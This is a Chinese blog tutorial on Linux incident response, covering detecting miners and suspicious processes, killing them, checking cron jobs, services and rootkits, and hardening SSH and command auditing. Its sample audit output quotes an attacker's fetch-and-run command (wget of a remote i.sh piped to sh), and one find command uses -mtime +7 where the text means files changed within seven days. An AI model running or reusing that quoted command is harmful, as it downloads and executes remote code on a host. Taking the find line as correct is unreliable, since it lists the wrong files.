Linux应急响应技巧整理

news/2024/9/28 8:12:56 标签: linux, 运维, 服务器

吉祥知识星球icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247485367&idx=1&sn=837891059c360ad60db7e9ac980a3321&chksm=c0e47eebf793f7fdb8fcd7eed8ce29160cf79ba303b59858ba3a6660c6dac536774afb2a6330&scene=21#wechat_redirect

《网安面试指南》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484339&idx=1&sn=356300f169de74e7a778b04bfbbbd0ab&chksm=c0e47aeff793f3f9a5f7abcfa57695e8944e52bca2de2c7a3eb1aecb3c1e6b9cb6abe509d51f&scene=21#wechat_redirect

《Java代码审计》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect

《Web安全》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484238&idx=1&sn=ca66551c31e37b8d726f151265fc9211&chksm=c0e47a12f793f3049fefde6e9ebe9ec4e2c7626b8594511bd314783719c216bd9929962a71e6&scene=21#wechat_redirect

留存备用

Linux 环境下处理应急响应事件往往会更加的棘手,因为相比于 Windows,Linux 没有像 Autorun、procexp 这样的应急响应利器,也没有统一的应急响应处理流程。所以,这篇文章将会对 Linux 环境下的应急响应流程进行讲解,并且提供每一个环节中所用到的 shell 命令,以帮助大家快速、系统化地处理 Linux 环境下的病毒。

处理 Linux 应急响应主要分为这 4 个环节:

识别现象 -> 清除病毒 -> 闭环兜底 -> 系统加固

首先从用户场景的主机异常现象出发,先识别出病毒的可疑现象。

然后定位到具体的病毒进程以及病毒文件,进行清除。

完成前 2 步还不够,病毒一般会通过一些自启动项及守护程序进行重复感染,所以我们要执行闭环兜底确保病毒不再被创建。

将主机上的病毒项清除干净后,最后就是进行系统加固了,防止病毒从 Web 再次入侵进来。

走完这 4 个环节,才能算是一个应急响应流程的结束。

图片

01 识别现象

第 1 个环节要求我们通过系统运行状态、安全设备告警,发现主机异常现象,以及确认病毒的可疑行为。

系统 CPU 是否异常

枚举进程,CPU 降序排序:top

图片

CPU 占用率超过 70% 且名字比较可疑的进程,大概率就是挖矿病毒了。

图片

是否存在可疑进程

枚举进程命令行:ps -aux

图片

病毒一般都携带可疑的命令行,当你发现命令行中带有 url 等奇怪的字符串时,就要注意了,它很可能是个病毒 downloader。

图片

安全网关有无报警

从安全网关报警中识别出威胁是最直接,但确认主机已经感染了病毒只是第一步,接下来得定位,具体是哪个进程在与 C&C 通信。

图片

监控与目标 IP 通信的进程:

while true; do netstat -antp | grep [ip]; done

图片

有时安全网关检测到的不全是恶意 IP,还有可能是个域名,这种情况下,域名对应的 IP 是变化的,我们不能直接用上述方法进行监控。

图片

我们可以先在 host 文件中添加一条规则,将恶意域名重定向到一个随机的 IP 地址,然后对其进行监控。

图片

这样就能得到与之通信的恶意进程了。

图片

有无可疑历史命令

遍历主机历史命令,查找有无恶意命令:history

图片

02 清除病毒

从第 1 个环节追溯到的进程信息,将会帮助我们定位到病毒进程 & 病毒文件,实现清除。

结束病毒进程

清除可疑进程的进程链:

ps -elf | grep [pid]
kill -9 [pid]

图片

删除病毒文件

定位病毒进程对应的文件路径:

ls -al /proc/[pid]/exe
rm -f [exe_path]

图片

03 闭环兜底

检查是否存在可疑定时任务

枚举定时任务:

crontab -l

查看 anacron 异步定时任务:

cat /etc/anacrontab

检查是否存在可疑服务

枚举主机所有服务,查看是否有恶意服务:

service --status-all

检查系统文件是否被劫持

枚举系统文件夹的文件,按修改事件排序查看 7 天内被修改过的文件:

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la

检查是否存在病毒守护进程

监控守护进程的行为:

lsof -p [pid]

图片

strace -tt  -T -e  trace=all  -p $pid

扫描是否存在恶意驱动

枚举 / 扫描系统驱动:lsmod

图片

安装 chkrootkit 进行扫描:

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense
./chkrootkit

安装 rkhunter 进行扫描:

Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c

04 系统加固

最后一个环节往往是大家比较容易遗忘的,Linux 平台下 90% 的病毒是通过网络传播感染的,所以,你的主机之所以会感染病毒,大部分原因也是因为 Web 安全防护不够,赶紧检查一下。

修改 SSH 弱密码

查询 log 主机登陆日志:

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

定位有爆破的源 IP:

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破日志的用户名密码:

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

SSH 爆破是 Linux 病毒最常用的传播手段,若存在弱密码的主机很容易被其他感染主机 SSH 爆破成功,从而再次感染病毒。

添加命令审计

为历史的命令增加登录的 IP 地址、执行命令时间等信息:

保存 1 万条命令:

sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

在 / etc/profile 的文件尾部添加如下行数配置信息:

USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"

让配置生效:

source /etc/profile

生成效果:

76  2019-10-28 17:05:34 113.110.229.230 wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

结尾

Linux 平台下的恶意软件威胁以僵尸网络蠕虫和挖矿病毒为主,由于 Linux 大多作为服务器暴露在公网,且 Web 应用的漏洞层出不穷,所以很容易被大范围入侵,如常见的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多 Linux 上都有。大家要养成不使用弱密码、勤打补丁的好习惯。


http://www.niftyadmin.cn/n/5680706.html

相关文章

PIKACHU —— 靶场笔记合集

0x01&#xff1a;PIKACHU 靶场初识 0x0101&#xff1a;PIKACHU 靶场初识0x0102&#xff1a;PIKACHU 靶场 XSS 后台配置 0x02&#xff1a;PIKACHU 过关思路

从0开始深度学习(6)——Pytorch动态图机制(前向传播、反向传播)

PyTorch 的动态计算图机制是其核心特性之一&#xff0c;它使得深度学习模型的开发更加灵活和高效。 0 计算图 计算图&#xff08;Computation Graph&#xff09;是一种用于表示数学表达式或程序流程的图形结构&#xff0c;可以将复杂的表达式分解成一系列简单的操作&#xff0…

MAC-Win11虚拟机双VPN环境内网穿透解决思路

MAC-Win11虚拟机双VPN环境内网穿透解决思路 背景新的问题解决方案问题定位解决方法其他 背景 日常工作需要同时在mac上连接两个不同公司的vpn&#xff0c;下文简称&#xff1a;公司A -> vpn1&#xff1b;公司B -> vpn2。 对于公司B&#xff0c;需要在开发工作中&#x…

LLM | Ollama WebUI 安装使用(pip 版)

Open WebUI (Formerly Ollama WebUI) 也可以通过 docker 来安装使用 1. 详细步骤 1.1 安装 Open WebUI # 官方建议使用 python3.11&#xff08;2024.09.27&#xff09;&#xff0c;conda 的使用参考其他文章 conda create -n open-webui python3.11 conda activate open-web…

Unity XR 环境检测

需求&#xff1a; 检测环境是XR还是手机 代码&#xff1a; using UnityEngine.XR;public class EnvmentUtility {/// <summary>/// 是否是XR环境/// </summary>/// <returns>如果是XR&#xff0c;返回true&#xff0c;否则false</returns>public sta…

SpringBoot开发——整合ShardingSphere实现数据库字段加解密

文章目录 1、什么是ShardingSphere2、SPringBoot整合ShardingSphere2.1 依赖引入2.2 配置ShardingSphere2.3 数据表准备2.4 实现加解密2.4.1 实体类定义2.4.2 数据访问层2.4.3 服务层2.4.4 控制层2.5 测试加解密功能3、小结1、什么是ShardingSphere ShardingSphere是Apache旗下…

「安装」 Windows下安装CUDA和Pytorch

「安装」 Windows下安装CUDA和Pytorch 文章目录 「安装」 Windows下安装CUDA和PytorchMac、Linux、云端Windows安装CUDA安装miniconda安装PyTorch测试总结 其他 Mac、Linux、云端 Mac、Linux、云端安装Miniconda和Pytorch的方法参考其他资料。 Windows 下面进行Windows下安装…

AI学习指南深度学习篇-丢弃法Python实践

AI学习指南深度学习篇-丢弃法Python实践 引言 在深度学习的领域中&#xff0c;丢弃法&#xff08;Dropout&#xff09;是一种有效的防止过拟合的随机正则化技术。过拟合是指模型在训练集上表现良好&#xff0c;但在测试集或未见过的数据上表现较差的现象。丢弃法通过随机地“…